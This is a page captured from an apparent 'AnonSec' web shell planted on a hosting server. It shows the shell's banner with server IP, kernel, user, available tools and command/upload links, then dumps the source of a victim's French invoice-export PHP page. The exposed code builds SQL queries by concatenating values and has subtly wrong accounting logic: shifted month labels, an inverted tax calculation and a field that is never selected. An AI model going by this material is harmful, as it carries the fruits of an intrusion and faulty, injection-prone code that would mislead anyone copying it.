AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/MCPRO/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/MCPRO/importer_reglement.php
<?php
	// require __DIR__ . '/vendor_sms_recu/autoload.php';
	// include 'includes_sms_recu/ovhhh.php';

include 'includes/config_tmcpro.php' ;
	include 'includes/stable_functions_tmcpro.php' ;
// use \Ovh\Api;
// exit() ; 


// if(!empty($_POST))
// {
	// echo "<pre>" ;
	// print_r($_POST) ; 
	// echo "<pre>" ;
	// $du= date2int_DSI($_POST['du']) ;
	
	// echo "==>".$du."<br/>" ;

	// $au= date2int_DSI($_POST['au']) ;
	
	// echo "==>".$du."<br/>" ;
	// echo "==>".$au."<br/>" ;
	
	// exit(); 	
// }



?>


<html>

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>MCPRO</title>
  <!-- Tell the browser to be responsive to screen width -->
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <!-- Font Awesome -->
  <link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
  <!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  <!-- daterange picker -->
  <link rel="stylesheet" href="../plugins/daterangepicker/daterangepicker.css">
  <!-- iCheck for checkboxes and radio inputs -->
  <link rel="stylesheet" href="../plugins/icheck-bootstrap/icheck-bootstrap.min.css">
  <!-- Bootstrap Color Picker -->
  <link rel="stylesheet" href="../plugins/bootstrap-colorpicker/css/bootstrap-colorpicker.min.css">
  <!-- Tempusdominus Bbootstrap 4 -->
  <link rel="stylesheet" href="../plugins/tempusdominus-bootstrap-4/css/tempusdominus-bootstrap-4.min.css">
  <!-- Select2 -->
  <link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
  <link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
  <!-- Bootstrap4 Duallistbox -->
  <link rel="stylesheet" href="../plugins/bootstrap4-duallistbox/bootstrap-duallistbox.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="../../dist/css/adminlte.min.css">
  <!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
  
    <!-- DataTables -->
  <link rel="stylesheet" href="../../plugins/datatables-bs4/css/dataTables.bootstrap4.min.css">
  <link rel="stylesheet" href="../../plugins/datatables-responsive/css/responsive.bootstrap4.min.css">
  <link rel="stylesheet" href="../../plugins/datatables-buttons/css/buttons.bootstrap4.min.css">
  <!-- Theme style -->
      <style>
.myCollapse {
    display: none;
}
.myCollapse.in {
    display: block;
}
  .modal-header {
    padding: 15px;
    border-bottom: 1px solid #e5e5e5;
}
  .modal-header {
    background: #226faa;
    background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
    background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
    border-radius: 6px;
    color: #fff;
    padding: 18px;
    border-bottom-left-radius: 0;
    border-bottom-right-radius: 0;
    border-color: transparent;
}

.modal-header .close {
    margin-top: -3px;
    font-size: 24px;
    font-weight: 400;
    color: #fff;
    opacity: .9;
    width: 28px;
    height: 28px;
    padding-bottom: 0;
    padding-left: 1px;
}
button.close {
    padding: 0;
    cursor: pointer;
    background: 0 0;
    border: 0;
    -webkit-appearance: none;
    -moz-appearance: none;
    appearance: none;
}



  </style>
  
</head>

<body class="hold-transition sidebar-mini">
												<!-- Site wrapper -->
<div class="wrapper">

<!-- TOP MENU -->
  <nav class="main-header navbar navbar-expand navbar-white navbar-light">
 <!-- Menu extensible -->
    <ul class="navbar-nav">
      <li class="nav-item">
        <a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
      </li>
<!-- liens TOP MENU GAUCHE-->
		 <li>
	
	  </li>
		
      
    </ul>

 <!-- liens TOP MENU DROITE -->
 
 
    <ul class="navbar-nav ml-auto">
     <!-- Placer ici l'élément à positionner à droite du TOP MENU -->
    </ul>
  
  </nav>  <!-- fin du TOP MENU -->
  
  
<!-- BARRE DE NAVIGATION -->

 <!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
  
  

 <!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->	

 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
 
    <div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
  <div class="modal-dialog modal-lg">
    <div class="modal-content data">
		<div id="fetch" ></div>
		
           
        </div>
    </div>
</div>


  <div class="content-wrapper">
   
  <!-- TITRE DE LA PAGE PRINCIPALE A PLACE ENTRE LES BALISES H1 & ARBORESCENCE SUR LA DROITE-->
    <section class="content-header">
      <div class="container-fluid">
        
		        <div class="row mb-2">
       
		  

       
        </div><!-- /.row -->
      </div><!-- /.container-fluid -->
    </section>

	
	
	
    <section class="content">
      <div class="row">
        <div class="col-12">
         <div class="card">
            <div class="card-header">
			
            
			<div class="row">
			  
			  <div class="col-sm-1"></div>
			   
            </div> 
            </div>
            <!-- /.card-header example1 -->
            <div class="card-body">
			
			
			   <form action="" method="POST">   
   
   <?php
   
   				if(!empty($_POST))
{
	// echo "<pre>" ;
	// print_r($_POST) ; 
	// echo "<pre>" ;
	$du= date2int_DSI($_POST['du']) ;
	
	// echo "==>".$du."<br/>" ;

	$au= date2int_DSI($_POST['au']) ;
	
	// echo "==>".$du."<br/>" ;
	// echo "==>".$au."<br/>" ;
	
	// exit(); 	
}
else{
	$du= date('Ym').'01' ;
	$au= date('Ym').'31';
	// echo "==>".$du."<br/>" ;
	// echo "==>".$au."<br/>" ;
}
				
	
			 
			 
			 
			 
			 
			 
			 
			 
			 
   ?>
 <div class="form-row">
 
 
    
	
 
	
  </div> <!-- ///////Permet de passer à la ligne suivante -->   
  
 <!-- ///////Ligne société & Catégorie --> 

<!-- ///////Ligne -->   
  
  <div class="form-row"> 
    <div class="form-group col-md-4">
      <label></label>
	  <div class="input-group">
	  Du &nbsp; &nbsp;
                    <div class="input-group-prepend">
                      <span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
                    </div>
                    <input type="date" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="du" <?php  echo "value=".int2date_autre_format($du) ;?> placeholder="jj/mm/aaaa">
                  </div>
    
   </div>
   
   
   
     <?php//  $chantier_fin =    int2date_autre_format($red['chantier_fin'])  ;  ?>
  <div class="form-group col-md-4">
      <label></label>
	  <div class="input-group">
	  Au &nbsp; &nbsp;
                    <div class="input-group-prepend">
                      <span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
                    </div>
                    <input type="date" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="au" <?php  echo "value=".int2date_autre_format($au) ;?> placeholder="jj/mm/aaaa" >
                  </div>
	 </div>
	 
	  <div class="form-group col-md-4">
      <label></label>
	  <div class="input-group">
                   
                 <button type="submit" name="Enregistrer"  class="btn btn-primary">Enregistrer</button> </div>
	 </div>
	 </div>

  
  

  
 

</form>

   

			
						
						
               <table id="example1" class="table table-bordered table-striped">
                <thead>
                <tr>
				   <th>   </th>
				    <th>Numéro facture</th> 
				    <th>Date fact   </th>
                     		<!-- /.Table Client - Champs client_nom -->
                   <th>Numéro facture</th> 		<!-- /.Table Client - Champs client_adr1 -->
				   <th>Montant</th> 		<!-- /.Table Client - Champs client_adr1 -->
				   
                  <th></th> 	<!-- /.Table Client - Champs client_cp -->
                  <th>Client numexport</th>	<!-- /.Table Client - Champs client_ville -->
				
				  
				  
			
				
                </tr>
                </thead>
                <tbody>
				<?php
		// $a =  dbi_query("SELECT client_nom , client_numexport, rt.date, rt.montant , reglement_desc,num_fact FROM reglement r , reglementt rt, client c , paiement p , facture f where rt.client_id = c.client_id and rt.reglement_id = r.reglement_id and rt.reg_id = p.reg_id AND p.fact_id = f.fact_id AND rt.date between $du AND $au") ;
		$a =  dbi_query(" SELECT  f.num_fact , f.date_fact , f.total   ,  c.client_numexport , f.client_id FROM   facture f  , client c where  f.client_id = c.client_id and f.date_fact  between $du AND $au ") ;
			       
				  
				
				  // bcd
				
				
				
				
				// exit() ; 
				
			
					 

					
			
				
				
				
				
				
				
				?>
                
                             
				
				<?php
			       while( $res=dbi_fetch_row($a))
				   { 
			   
			   
			   $mois =  substr($res['date_fact'], 4, 2);
			   
			   
			   switch ($mois) {
							case "01":
								$chaine_mois = "FACTURE DEC";
								break;
							case "02":
								$chaine_mois =  "FACTURE JAN";
								break;
							case "03":
								$chaine_mois =  "FACTURE FEV";
								break;
							case "04":
								$chaine_mois =  "FACTURE MAR";
								break;
							case "05":
								$chaine_mois =  "FACTURE AVR";
								break;
							case "06":
								$chaine_mois =  "FACTURE MAI";
								break;
							case "07":
								$chaine_mois =  "FACTURE JUI";
								break;
							case "08":
								$chaine_mois =  "FACTURE JUL";
								break;
							case "09":
								$chaine_mois =  "FACTURE AOU";
								break;
							case "10":
								$chaine_mois =  "FACTURE SEP";
								break;
							case "11":
								$chaine_mois =  "FACTURE OCT";
								break;
							case "12":
								$chaine_mois =  "FACTURE NOV";
								break;
							
					
						}
						
						list($chantier_TVA)=dbi_fetch_row(dbi_query("SELECT chantier_TVA  FROM `chantier` WHERE `client_id` = ".$res['client_id'])) ;
						
						// echo "==>".$chantier_TVA."<br/>" ; 
						
						
						$t_tva =  100/(100+ $chantier_TVA) ; 
						
						// echo "==>".$t_tva."<br/>" ; 
						
						$mnt_HT = $res['total'] / $t_tva ;
		              
					    // echo "==>".$mnt_HT."===".$res['montant']."<br/>" ; 
						// echo "==>".round($mnt_HT ,2)."<br/>" ; 
						$mnt_HT =   round($mnt_HT ,2) ; 
						
						$TVAA =  $res['total'] -  $mnt_HT  ; 
						
				?>
				<tr>	
				<td> VT</td>
				<td> <?="FA-".$res['num_fact']?></td>
				<td> <?=int2date($res['date_fact'])?></td>
				
				<td> <?=$chaine_mois?></td>
				<td> <?=$res['total']?></td>
				<td>  </td>
		
				<td> <?=$res['client_numexport']?></td>
				
				</tr>
				
		        <tr>	
				<td> VT</td>
				<td> <?="FA-".$res['num_fact']?></td>
				<td> <?=int2date($res['date_fact'])?></td>
				
				<td> <?=$chaine_mois?></td>
				<td> </td>
				<td> <?=$mnt_HT?></td>
		
				<td> 706000</td>
				
				</tr>
				
		        <tr>	
				<td> VT</td>
				<td> <?="FA-".$res['num_fact']?></td>
				<td> <?=int2date($res['date_fact'])?></td>
				
				<td> <?=$chaine_mois?></td>
				<td> </td>
		        <td> <?=$TVAA?></td>
				<td> 445714 </td>
				
				</tr>
				  
                <?}?>

	<?php


		$a =  dbi_query(" SELECT  a.avoir_id , f.num_fact , f.date_fact , a.montant   ,a.date ,  c.client_numexport , f.client_id FROM   facture f ,avoir a , client c where  f.client_id = c.client_id and  a.fact_id = f.fact_id  and a.date  between $du AND $au ") ;
			       
					// $a =  dbi_query(" SELECT  f.num_fact , f.date_fact , f.total   ,  c.client_numexport , f.client_id FROM   av f  , client c where  f.client_id = c.client_id and f.date_fact  between $du AND $au ") ;
			   
				// SELECT * FROM `avoir`
				  // bcd
				
				
				
				
				// exit() ; 
				
			
					 

					
			
				
				
				
				
				
				
			       while( $res=dbi_fetch_row($a))
				   { 
			   
			   
			   $mois =  substr($res['date_fact'], 4, 2);
			   
			   
			   switch ($mois) {
							case "01":
								$chaine_mois = "AVOIR JAN";
								break;
							case "02":
								$chaine_mois =  "AVOIR FEV";
								break;
							case "03":
								$chaine_mois =  "AVOIR MAR";
								break;
							case "04":
								$chaine_mois =  "AVOIR AVR";
								break;
							case "05":
								$chaine_mois =  "AVOIR MAI";
								break;
							case "06":
								$chaine_mois =  "AVOIR JUI";
								break;
							case "07":
								$chaine_mois =  "AVOIR JUL";
								break;
							case "08":
								$chaine_mois =  "AVOIR AOU";
								break;
							case "09":
								$chaine_mois =  "AVOIR SEP";
								break;
							case "10":
								$chaine_mois =  "AVOIR OCT";
								break;
							case "11":
								$chaine_mois =  "AVOIR NOV";
								break;
							case "12":
								$chaine_mois =  "AVOIR DEC";
								break;
							
					
						}
						
						list($chantier_TVA)=dbi_fetch_row(dbi_query("SELECT chantier_TVA  FROM `chantier` WHERE `client_id` = ".$res['client_id'])) ;
						
						// echo "==>".$chantier_TVA."<br/>" ; 
						
						
						$t_tva =  100/(100+ $chantier_TVA) ; 
						
						// echo "==>".$t_tva."<br/>" ; 
						
						$mnt_HT = $res['montant'] / 1.2 ;		              
					    // echo "==>".$mnt_HT."===".$res['montant']."<br/>" ; 
						// echo "==>".round($mnt_HT ,2)."<br/>" ; 
						$mnt_HT =   round($mnt_HT ,2) ; 
						
						$TVAA =  $res['montant'] -  $mnt_HT  ; 
						
				?>
				<tr>	
				<td> VT</td>
				<td> <?="AV-".$res['num_avoir']?></td>
				<td> <?=int2date($res['date'])?></td>
				
				<td> <?=$chaine_mois?></td>
				<td>  </td>
				<td> <?=$res['montant']?></td>
				
		
				<td> <?=$res['client_numexport']?></td>
				
				</tr>
				
		        <tr>	
				<td> VT</td>
				<td> <?="AV-".$res['num_avoir']?></td>
				<td> <?=int2date($res['date'])?></td>
				
				<td> <?=$chaine_mois?></td>
				<td> <?=$mnt_HT?></td>
				<td> </td>
				
		
				<td> 706000</td>
				
				</tr>
				
		        <tr>	
				<td> VT</td>
				<td> <?="AV-".$res['num_avoir']?></td>
				<td> <?=int2date($res['date'])?></td>
				
				<td> <?=$chaine_mois?></td>
				 <td> <?=$TVAA?></td>
				<td> </td>
		       
				<td> 445714 </td>
				
				</tr>
				  
				













				  <?}?>
				
                              
                
               
                </tbody>
 
              </table>
            </div>
            <!-- /.card-body -->
          </div>
          <!-- /.card -->
        </div>
        <!-- /.col -->
      </div>
      <!-- /.row -->
    </section>
    <!-- /.content -->
  </div>
  <!-- NE PAS TOUCHER AU DESSUS DESSOUS -->	 




<!-- DEBUT DU PIED DE PAGE -->
  
  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.0.1
    </div>
    <strong>Copyright &copy; 2019 MCPRO</strong> 
  </footer>
<!-- FIN DU PIED DE PAGE -->

<!-- NE PAS TOUCHER CI-DESSOUS -->
  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- Bootstrap4 Duallistbox -->
<script src="../plugins/bootstrap4-duallistbox/jquery.bootstrap-duallistbox.js"></script>
<!-- InputMask -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/inputmask/min/jquery.inputmask.bundle.min.js"></script>
<!-- date-range-picker -->
<script src="../plugins/daterangepicker/daterangepicker.js"></script>
<!-- bootstrap color picker -->
<script src="../plugins/bootstrap-colorpicker/js/bootstrap-colorpicker.min.js"></script>
<!-- Tempusdominus Bootstrap 4 -->
<script src="../plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<!-- Bootstrap Switch -->
<script src="../plugins/bootstrap-switch/js/bootstrap-switch.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- Page script -->
<!-- DataTables  & Plugins -->
<script src="../../plugins/datatables/jquery.dataTables.min.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-responsive/js/dataTables.responsive.min.js"></script>
<script src="../../plugins/datatables-responsive/js/responsive.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-buttons/js/dataTables.buttons.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.bootstrap4.min.js"></script>
<script src="../../plugins/jszip/jszip.min.js"></script>
<script src="../../plugins/pdfmake/pdfmake.min.js"></script>
<script src="../../plugins/pdfmake/vfs_fonts.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.html5.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.print.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.colVis.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- Page specific script -->
<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true, "lengthChange": false, "autoWidth": false,
	    "paging":   false,
	   "ordering": false,
      "buttons": ["excel", "pdf"]
    }).buttons().container().appendTo('#example1_wrapper .col-md-6:eq(0)');
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>

<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })
  })
</script>







</body>
</html>

AnonSec - 2021